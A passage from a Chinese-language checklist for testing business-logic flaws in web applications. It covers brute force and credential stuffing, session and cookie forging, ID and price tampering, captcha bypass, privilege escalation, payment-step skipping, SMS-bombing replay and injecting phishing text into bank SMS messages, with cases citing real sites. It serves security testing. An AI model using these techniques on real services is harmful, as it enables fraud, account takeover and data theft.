在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 简单的验证码爆破。URL: http://zone.wooyun.org/content/20839 一些工具及脚本BurpsuitehtpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScanhydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴)

 
    []session & cookie类[/]

会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。案例:WooYun: 新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露!Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 案例:益云广告平台任意帐号登录WooYun: 益云广告平台任意帐号登录

    []弱加密[/]

未使用https,是功能测试点,不好利用。前端加密,用密文去后台校验,并利用smart decode可解

0x02 业务一致性安全
    []手机号篡改[/]

a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。

    []邮箱或者用户篡改[/]

a) 抓包修改用户或者邮箱参数为其他用户或者邮箱b) 案例: WooYun: 绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2

    []订单id篡改[/]

a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。b) 案例: WooYun: 广之旅旅行社任意访问用户订单

    []商品编号篡改[/]

a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。b) 案例:联想某积分商城支付漏洞再绕过 WooYun: 联想某积分商城支付漏洞再绕过

    []用户id篡改[/]

a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。b) 案例: WooYun: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等) 

0x03 业务数据篡改
    []金额数据篡改[/]

a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。b) 案例: WooYun: 12308订单支付时的总价未验证漏洞(支付逻辑漏洞)

    []商品数量篡改[/]

a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。b) 案例: WooYun: 蔚蓝团支付逻辑漏洞(可负数支付)

    []最大数限制突破[/]

a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。

    []本地js参数修改[/]

a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。

0x04 用户输入合规性
    []注入测试 请参考http://wiki.wooyun.org/web:sql[/][]XSS测试 请参考http://wiki.wooyun.org/web:xss[/][]Fuzz[/]

a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)b) 不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞c) 可能会用的工具 —— spike

    []其他用用户输入交互的应用漏洞[/]
0x05 密码找回漏洞
    []大力推荐BMa的《密码找回逻辑漏洞总结》 http://drops.wooyun.org/web/5048[/][]密码找回逻辑测试一般流程[/]

i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包ii. 分析数据包,找到敏感部分iii. 分析后台找回机制所采用的验证手段iv. 修改数据包验证推测

    []脑图 (详情请参考BMa的《密码找回逻辑漏洞总结》)[/]
0x06 验证码突破验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。
    []验证码暴力破解测试[/]

a) 使用burp对特定的验证码进行暴力破解b) 案例: WooYun: 盟友88电商平台任意用户注册与任意用户密码重置漏洞打包

    []验证码时间、次数测试[/]

a) 抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。

    []验证码客户端回显测试[/]

a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息

    []验证码绕过测试[/]

a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。b) 案例: WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷

    []验证码js绕过[/]

a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。

0x07 业务授权安全
    []未授权访问[/]

a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。

    []越权访问[/]

越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定

    []a) 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)[/][]b) 水平越权(水平越权是指相同权限的不同用户可以互相访问)(wooyun-2010-0100991 PHPEMS多处存在水平权限问题)[/][]c) 《我的越权之道》URL:http://drops.wooyun.org/tips/727 0x08 业务流程乱序[/]

0x08 业务流程乱序
    []顺序执行缺陷[/]

a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。c) 案例:WooYun: 万达某分站逻辑错误可绕过支付直接获得取票密码http://wooyun.org/bugs/wooyun-2010-0108184

0x09 业务接口调用安全
    []重放攻击[/]

在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果

    []a) 恶意注册[/][]b) 短信炸111弹[/]
在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信案例: WooYun: 一亩田交易网逻辑漏洞(木桶原理)

    []内容编辑[/]

似案例如下:点击“获取短信验证码”,并抓取数据包内容,如下图。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容

Image3.png
将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容,如下图:
Image4.png

0x10 时效绕过测试大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故,单独分类。
    []时间刷新缺陷[/]

12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 案例:WooYun: 12306自动刷票时间可更改漏洞

    []时间范围测试[/]


针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
 


0x11 参考
@eversec
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
密码找回功能可能存在的问题(补充) http://drops.wooyun.org/web/3295
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
我的越权之道 http://drops.wooyun.org/tips/727